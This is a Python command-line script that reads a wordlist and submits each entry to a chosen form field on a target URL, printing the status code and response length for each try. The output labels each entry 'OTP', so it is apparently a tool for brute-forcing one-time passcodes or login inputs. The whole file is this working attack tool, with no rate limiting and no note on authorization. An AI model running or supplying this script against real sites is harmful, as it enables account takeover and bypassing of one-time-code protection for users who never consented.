import argparse as ap
# pip install selenium
    
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin

def main():
    def submit_form(
        url: str,
        value: str,
        input_identifier: str,
        input_type: str,
        submit_identifier: str,
        submit_type: str,
        method: str = "get"
    ):

        session = requests.Session()

        # Load page
        r = session.get(url, timeout=10)
        soup = BeautifulSoup(r.text, "html.parser")

        # Locate input field
        if input_type == "id":
            input_field = soup.find(id=input_identifier)
        elif input_type == "name":
            input_field = soup.find(attrs={"name": input_identifier})
        else:
            raise ValueError("input_type must be 'id' or 'name'")

        if not input_field:
            raise ValueError("Input field not found")

        input_name = input_field.get("name")

        # Find the form
        form = input_field.find_parent("form")

        if form:
            action = form.get("action")
            form_url = urljoin(url, action) if action else url
        else:
            form_url = url

        # Build payload (simulate typing value)
        payload = {input_name: value}

        # Simulate submit button
        if submit_type == "name":
            payload[submit_identifier] = ""
        elif submit_type == "id":
            payload[submit_identifier] = ""

        # Send request
        if method == "post":
            response = session.post(form_url, data=payload, timeout=10)
        else:
            response = session.get(form_url, params=payload, timeout=10)

        response_data = {
            "status_code": response.status_code,
            "response_length": len(response.content),
            "final_url": response.url,
            "title": None
        }

        # Extract title
        soup = BeautifulSoup(response.text, "html.parser")
        if soup.title:
            response_data["title"] = soup.title.string

        return response_data
        
        
    # ----- Example --------
    '''submit_form(
        url="https://example.com/login",
        value="testuser",
        input_identifier="username",
        input_type="id",
        submit_identifier="loginBtn",
        submit_type="id",
        method="post"
    ) '''

    cli = ap.ArgumentParser()

    cli.add_argument('--url' , type=str , help="Takes the target url" , required = True )
    cli.add_argument('--wordlist' , '-w' , type=str , help="Takes the Wordlists to be filled" , required=True , dest= "wordlist")
    cli.add_argument("--input-identity" , type=str ,dest='iIdentity', help="takes the id or name perameter value of input" , required =True)
    cli.add_argument("--input-type" , required = True , dest='iType',choices = {'id' , "name"} , type=str , help="Takes the perameter of value given to the --input-identity argument, eg: --input-type id :- this id value of input is given in --input-identity")
    cli.add_argument("--submit-identity" , required = True,dest='sIdentity' , help = "Takes the value of id or name in input feild" , type = str)
    cli.add_argument('--submit-type' , required = True,dest="sType" , choices = ['id' , 'name'] , type=str , help= "Takes the value given to the --submit-identity argument , eg: --submit-type id :- This id vlaue of submit is given in --submit-identity")
    cli.add_argument('--method' , '-m' , dest="method" , type=str,  help="Task the method get or post as that the data is send get or post method" , choices = ['get', 'post'])

    clivalue = cli.parse_args()
    with open(clivalue.wordlist , "r") as d:
        c = d.read()
    list = c.split("\n")

    for i in range(len(list)):
        r = submit_form(
        url = clivalue.url,
        value = list[i],
        input_identifier=clivalue.iIdentity,
        input_type=clivalue.iType,
        submit_identifier=clivalue.sIdentity,
        submit_type=clivalue.sType,
        method=clivalue.method
    )
        print(f"[+] OTP: {list[i]}  Status Code: {r['status_code']}  Response Length: {r['response_length']}  Final URL: {r['final_url']}")
                
